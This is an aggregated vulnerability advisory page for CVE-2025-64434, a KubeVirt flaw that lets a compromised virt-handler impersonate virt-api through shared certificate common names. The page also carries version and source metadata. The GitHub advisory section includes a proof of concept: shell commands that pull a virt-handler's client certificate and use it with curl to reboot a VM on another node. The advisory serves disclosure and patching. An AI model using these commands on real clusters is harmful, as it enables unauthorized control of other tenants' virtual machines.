Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing

CVSS 3.1 4.7 MEDIUMEUVD CVSS 3.1 4.7 CVSS 3.1 · [email protected] · Secondary 4.7 MEDIUMCVSS 3.1 · [email protected] · Primary 6.3 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by kubevirt.io/kubevirt 1.5.3Fixed by kubevirt.io/kubevirt 1.6.1osv · severity unknownFixed by kubevirt.io/kubevirt 1.5.3Fixed by kubevirt.io/kubevirt 1.6.0-beta.0.0.20250730135146-231dc69723f3Fixed by kubevirt.io/kubevirt 1.6.1KEV status unknown

cve-program · CVE-2025-64434

Published

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the VM managed by it. This vulnerability is fixed in 1.5.3 and 1.6.1.

Read the publisher's advisory

euvd · EUVD-2025-38216

Published

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the VM managed by it. This vulnerability is fixed in 1.5.3 and 1.6.1.

Read the publisher's advisory

nvd · CVE-2025-64434

Published

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the VM managed by it. This vulnerability is fixed in 1.5.3 and 1.6.1.

Read the publisher's advisory

osv · GHSA-ggp9-c99x-54gp

Published

### Summary Due to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ Because of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. The `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances. The communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: ```go //pkg/virt-api/api.go const ( ... defaultCAConfigMapName = "kubevirt-ca" ... defaultHandlerCertFilePath = "/etc/virt-handler/clientcertificates/tls.crt" defaultHandlerKeyFilePath = "/etc/virt-handler/clientcertificates/tls.key" ) ``` ```bash # verify virt-api's certificate properties from the docker container in which it is deployed using Minikube admin@minikube:~$ openssl x509 -text -in \ $(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \ docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | \ tr -d '"[:space:]')/tls.crt | \ grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 127940157512425330 (0x1c688e539091f72) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:client:virt-handler ``` The `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates. ```bash # inspect the self-signed root CA used to sign virt-api and virt-handler's certificates admin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 319368675363923930 (0x46ea01e3f7427da) Issuer: CN=kubevirt.io@1747579138 Subject: CN=kubevirt.io@1747579138 ``` The `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance: ```bash admin@minikube:~$ openssl x509 -text -in \ $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \ docker inspect $CID | grep "servercertificates:ro" | cut -d ":" -f1 | \ tr -d '"[:space:]')/tls.crt | \ grep -e "Subject:" -e "Issuer:" -e "Serial" # the virt-handler's server ceriticate is issued by the same root CA Serial Number: 7584450293644921758 (0x6941615ba1500b9e) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:node:virt-handler ``` In addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate: <code.sec.SetupTLSForVirtHandlerServer> ```go //pkg/util/tls/tls.go func SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config { // #nosec cause: InsecureSkipVerify: true // resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed //... // XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { return verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, "client") }, //... } func verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error { //... rawPeer, rawIntermediates := rawCerts[0], rawCerts[1:] c, err := x509.ParseCertificate(rawPeer) //... fullCommonName := fmt.Sprintf("kubevirt.io:system:%s:virt-handler", commonName) if !externallyManaged && c.Subject.CommonName != fullCommonName { return fmt.Errorf("common name is invalid, expected %s, but got %s", fullCommonName, c.Subject.CommonName) } //... ``` The above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`'s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. In addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. ```go //pkg/virt-handler/migration-proxy/migration-proxy.go func NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager { return &migrationProxyManager{ sourceProxies: make(map[string][]*migrationProxy), targetProxies: make(map[string][]*migrationProxy), serverTLSConfig: serverTLSConfig, clientTLSConfig: clientTLSConfig, config: config, } } ``` This communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`. ```bash admin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | tr -d '"[:space:]')/tls.crt | grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 2951695854686290384 (0x28f687bdb791c1d0) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:client:virt-handler ``` Although the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM's state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ To illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node: ```yaml # the deployed VMI on the non-compromised node minikube-m02 apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: labels: kubevirt.io/size: small name: mishandling-common-name-in-certificate-handler spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` ```bash # the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3 attacker@minikube:~$ curl -k https://10.244.1.3:8186/ curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0 # get the certificate bundle directory and redo the request attacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep "clientcertificates:ro" | cut -d ':' -f1 | tr -d '"[:space:]') attacker@minikube:~$ curl -k --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/ 404: Page Not Found # soft reboot the VMI instance running on the other node attacker@minikube:~$ curl -ki --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot -XPUT HTTP/1.1 202 Accepted # the VMI mishandling-common-name-in-certificate-handler has been rebooted ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ Due to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.

Read the publisher's advisory

osv · GO-2025-4107

Published

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2025-64434

Published

kubevirt

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "kubevirt",
                    "product": "kubevirt",
                    "versions": [
                        {
                            "version": "< 1.5.3",
                            "status": "affected"
                        },
                        {
                            "version": ">= 1.6.0-alpha.0, < 1.6.1",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2025-38216

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 7, 2025, 10:54:04 PM

dateUpdated: Nov 10, 2025, 7:03:26 PM

7 related source bulletins · separate from aliases

WID-SEC-W-2025-2563: Microsoft Azure Linux: Mehrere Schwachstellen

CVE-2024-25621 · CVE-2025-10966 · CVE-2025-12863 · CVE-2025-12875 · CVE-2025-31133 · CVE-2025-40107 · CVE-2025-40109 · CVE-2025-52565 · CVE-2025-52881 · CVE-2025-60753 · CVE-2025-62220 · CVE-2025-64329 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64436 · CVE-2025-64437

msrc_CVE-2025-64434: KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing

CVE-2025-64434

SUSE-SU-2026:20571-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

SUSE-SU-2026:20610-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

SUSE-SU-2025:4330-1: Security update for kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container, virt-pr-helper-container

CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64437

SUSE-SU-2026:20551-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

openSUSE-SU-2026:20281-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2025-64434

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-287

Original publisher date fields

published: 2025-11-07T23:15:45.690

lastModified: 2026-06-17T09:54:22.717

2 source CPE criteria · context only
  • cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*
  • cpe:2.3:a:kubevirt:kubevirt:1.6.0:*:*:*:*:kubernetes:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-ggp9-c99x-54gp

Published

kubevirt.io/kubevirt

Go

SEMVER · introduced 0 → fixed 1.5.3

kubevirt.io/kubevirt

Go

SEMVER · introduced 1.6.0-alpha.0 → fixed 1.6.1

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2025-4107

Published

kubevirt.io/kubevirt

Go

SEMVER · introduced 0 → fixed 1.5.3 → introduced 1.6.0-alpha.0 → fixed 1.6.0-beta.0.0.20250730135146-231dc69723f3 → introduced 1.6.0-rc.0 → fixed 1.6.1

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 11:47 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current